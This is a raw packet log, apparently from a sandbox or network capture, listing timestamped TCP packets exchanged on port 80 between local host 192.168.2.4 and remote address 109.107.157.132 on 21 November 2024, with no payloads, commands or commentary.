Nov 21, 2024 22:33:51.610521078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.610579014 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.610783100 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.610912085 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.610971928 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.612118959 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.612217903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.612262011 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.613185883 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.613230944 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.613306999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.614495039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.614506006 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.614543915 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.615839958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.616137028 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.616182089 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.617136002 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.617186069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.617245913 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.618500948 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.618536949 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.618550062 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.618571043 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.619827032 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.619921923 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.619968891 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.621253014 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.621453047 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.621501923 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.622633934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.622679949 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.622698069 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.623645067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.623831987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.623876095 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.623918056 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.623958111 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.625158072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.625204086 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.625243902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.625286102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.626513004 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.626566887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.626568079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.627660990 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.627846003 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.627895117 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.627964973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.628021955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:51.629175901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:51.629220963 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:52.726541996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:52.726566076 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:52.726594925 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:52.726634979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:52.849281073 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:52.849360943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:52.849467039 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:52.849510908 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:52.849899054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:52.849982023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:52.927581072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:52.927676916 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:52.927778959 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:52.927830935 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:52.928122997 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:52.928175926 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.022772074 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.142842054 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.423026085 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.423043013 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.423136950 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.423531055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.423557043 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.423578024 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.423613071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.424783945 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.424849987 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.425255060 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.425308943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.425355911 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.425405025 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.426647902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.426714897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.501369953 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.501564980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.501576900 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.501616955 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.501940966 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.501991034 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.502015114 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.502053022 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.503273964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.503326893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.503384113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.503422976 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.504600048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.504662037 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.504713058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.504755974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.505980968 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.506022930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.506079912 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.506120920 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.507287979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.507332087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.507364035 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.507402897 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.508615971 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.508655071 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.508686066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.508723021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.579458952 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.579521894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.579565048 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.579610109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.580044031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.580087900 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.580188990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.580230951 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.581378937 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.581424952 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.581444979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.581482887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.582571983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.582616091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.582631111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.582669020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.583821058 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.583863974 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.583947897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.583991051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.585163116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.585338116 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.585549116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.585607052 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.586503029 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.586558104 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.586636066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.586694956 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.587838888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.587886095 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.587977886 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.588026047 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.589167118 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.589212894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.589237928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.589274883 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.590548992 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.590595961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.590667963 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.590714931 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.591850996 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.591897964 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.592021942 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.592070103 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.593166113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.593211889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.657695055 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.657794952 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.657802105 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.657844067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.658250093 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.658307076 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.658505917 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.658550978 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.658550978 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.658584118 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.659917116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.659971952 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.660234928 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.660280943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.661209106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.661257982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.661382914 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.661425114 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.662574053 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.662623882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.662703037 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.662741899 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.663908958 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.663953066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.663954020 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.663989067 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.665231943 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.665278912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.665292025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.665330887 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.666527987 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.666573048 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.666635990 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.666675091 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.667891979 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.667939901 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.667953968 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.667999029 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.669197083 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.669241905 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.669297934 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.669339895 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.670558929 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.670615911 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.670634031 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.670679092 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.671816111 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.671866894 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.735944033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.736021042 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.736080885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.736119032 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.736608982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.736649036 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.736778975 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.736825943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.737937927 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.737979889 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.738401890 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.738440990 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.738540888 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.738580942 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.742129087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.742139101 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.742150068 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.742161036 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.742187023 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.742216110 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.742762089 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.742810965 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.742938995 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.742981911 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.744148970 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.744211912 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.744290113 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.744350910 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.745460033 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.745471001 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.745538950 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.746772051 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.746845007 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.746938944 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.747014999 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.748001099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.748120070 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.748159885 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.748210907 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.749109030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.749187946 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.749224901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.749303102 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.750413895 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.750468969 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.814279079 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.814342022 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.814363956 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.814416885 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.814937115 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.815071106 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.815092087 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.815135002 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.817892075 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.817950010 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.818372965 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.818428040 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.818555117 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.818567038 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.818578959 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.818600893 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.818614960 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.819823980 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.819835901 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.819885015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.819919109 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.821096897 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.821156979 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.821264982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.821316004 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.822365999 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.822489977 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.822529078 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.822630882 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.823844910 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.823863983 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.823914051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.823914051 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.825124025 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.825181961 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.825268030 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.825309992 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.826458931 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.826472044 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.826529980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.826529980 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.827771902 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.827825069 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.827917099 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.827965975 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.829010010 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.829155922 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.829176903 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.829216957 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.830313921 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.830358982 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.893244982 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.893338919 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.893382072 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.893424988 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.893697977 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.893764973 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.894017935 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.894058943 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.895272017 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.895335913 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.895394087 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.895453930 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.896378040 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.896460056 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.896524906 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.896563053 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.897521973 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.897588015 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.897680998 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.897748947 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.898925066 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.899046898 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.899077892 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.899173021 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.900218964 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.900337934 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.900544882 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.900597095 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.901736021 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.901854038 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.901901960 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.901948929 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.903000116 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.903074026 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.903171062 CET	80	49759	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:53.903279066 CET	49759	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:53.904472113 CET	80	49759	109.107.157.132	192.168.2.4
